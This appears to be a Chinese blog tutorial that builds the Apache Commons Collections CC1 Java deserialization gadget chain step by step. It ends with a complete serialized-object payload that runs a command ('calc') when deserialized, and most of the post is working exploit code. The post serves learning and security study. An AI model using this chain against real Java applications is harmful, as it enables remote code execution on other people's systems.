java反序列化cc1鏈

毛利_小五郎發表於2024-07-17

危險方法:exec

第一步

Runtime.getRuntime().exec("calc");

InvokerTransform.transform

第二步

    Class c = Runtime.class;
    Object runtime = Runtime.getRuntime();
    Method exec = c.getDeclaredMethod("exec",String.class);
    exec.invoke(runtime,"calc");

第三步

InvokerTransformer原始碼部分

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}


public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
            
    }

    Runtime r = Runtime.getRuntime();
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

第四步:尋找transform呼叫地方:checkSetvalue

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}   
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

Runtime r = Runtime.getRuntime();
    Transformer InvokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map decorateMap = TransformedMap.decorate(hashMap,null,InvokerTransformer);
    Class transformedmap = TransformedMap.class;
    Method check = transformedmap.getDeclaredMethod("checkSetValue", Object.class);
    check.setAccessible(true);
    check.invoke(decorateMap,r);//第四步

第五步:尋找checkSetvalue呼叫

找到可利用的位置

 package org.apache.commons.collections.map;

  public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }

    Runtime r = Runtime.getRuntime();
    Transformer InvokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("key","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,InvokerTransformer);
    for(Map.Entry entry:decorateMap.entrySet())//Map.Entry(這個是型別) entry(鍵):decorateMap.entrySet()(decorateMap的值要被設定)
    {
        entry.setValue(r);
    }

第六步:尋找readobject中呼叫setvalue

位置:sun.reflect.annotation

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
        superInterfaces.length != 1 ||
        superInterfaces[0] != java.lang.annotation.Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
}

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}
}

第七步

1.解決Runtime不能序列化問題

反射出來

    Class r  = Runtime.class;
    Method m = r.getDeclaredMethod("getRuntime",null);
    Runtime runtime = (Runtime) m.invoke(null,null);
    Method exec = r.getDeclaredMethod("exec",String.class);
    exec.invoke(runtime,"calc");

2.發現他可以利用invokeTransform

    Class c = Runtime.class;
    Method m = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
    Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m);
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

3.接著發現可以用chaintransform

    Transformer[] transformers = {
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(Runtime.class);

4.完成之後與第五步結合還有第六步一起結合來看

   Transformer[] transformers = {
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Runtime r = Runtime.getRuntime();
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("key","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Override.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");

5.這個不會發生什麼因為還有兩步沒有做就是沒有完成if判斷

第八步

第一個if

 private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
       
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

   
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

我來解釋一下這個程式碼在幹嘛

for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

這個是不斷遍歷型別Map.Entry<String, Object>的membervalue,然後對他進行修改entrySet()

String name = memberValue.getKey();

這個程式碼是獲取memberValue的鍵值

Class<?> memberType = memberTypes.get(name);

這個是獲取memberTypes裡面有沒有和name一樣的key

public @interface Target { ElementType[] value(); }

比如上面這個就是有的

public @interface Override { }
這個就是空的

所以我們選擇給Class<? extends Annotation> type賦值為Target.class

然後給我們的map的key賦值為何target的key一樣就行就是賦值為value,這樣就能進入第一個if

 Transformer[] transformers = {
            
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Runtime r = Runtime.getRuntime();
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");

第二個if

發現 setValue() 處中的引數並不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 類,是無法進行命令執行的。我們需要找到一個類,能夠可控 setValue 的引數。

找到一個類,他的功能就是不論你傳入什麼都是返回一樣的值,如果我們傳入Runtime他就改變不了

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
    return iConstant;
}

 Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Runtime r = Runtime.getRuntime();
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");

這樣就成功了!

反序列程式碼

public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);

}

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
    Object obj = ois.readObject();
    ois.close();
    return obj;
}

最後的程式碼

public class cc1 {
public static void main(String[] args) throws Exception {
    Runtime.getRuntime().exec("calc");//第一步


    Class c = Runtime.class;
    Object runtime = Runtime.getRuntime();
    Method exec = c.getDeclaredMethod("exec",String.class);
    exec.invoke(runtime,"calc");//第二步

    Runtime r = Runtime.getRuntime();
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);//第三步

    Runtime r = Runtime.getRuntime();
    Transformer InvokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map decorateMap = TransformedMap.decorate(hashMap,null,InvokerTransformer);
    Class transformedmap = TransformedMap.class;
    Method check = transformedmap.getDeclaredMethod("checkSetValue", Object.class);
    check.setAccessible(true);
    check.invoke(decorateMap,r);//第四步


    Runtime r = Runtime.getRuntime();
    Transformer InvokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("key","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,InvokerTransformer);
    for(Map.Entry entry:decorateMap.entrySet())//Map.Entry(這個是型別) entry(鍵):decorateMap.entrySet()(decorateMap的值要被設定)
    {
        entry.setValue(r);
    }//第五步



    Class r  = Runtime.class;
    Method m = r.getDeclaredMethod("getRuntime");
    Runtime runtime = (Runtime) m.invoke(r,null);
    Method exec = r.getDeclaredMethod("exec",String.class);
    exec.invoke(runtime,"calc");//第七步(1)

    Class c = Runtime.class;
    Method m = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
    Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m);
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);//第七步(2)

    Transformer[] transformers = {
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(Runtime.class);//第七步(3)



    Transformer[] transformers = {

            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Runtime r = Runtime.getRuntime();
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");//第八步(1)


    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Runtime r = Runtime.getRuntime();
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");//第八步(2)




















}
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);

}

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
    Object obj = ois.readObject();
    ois.close();
    return obj;
}

}

相關文章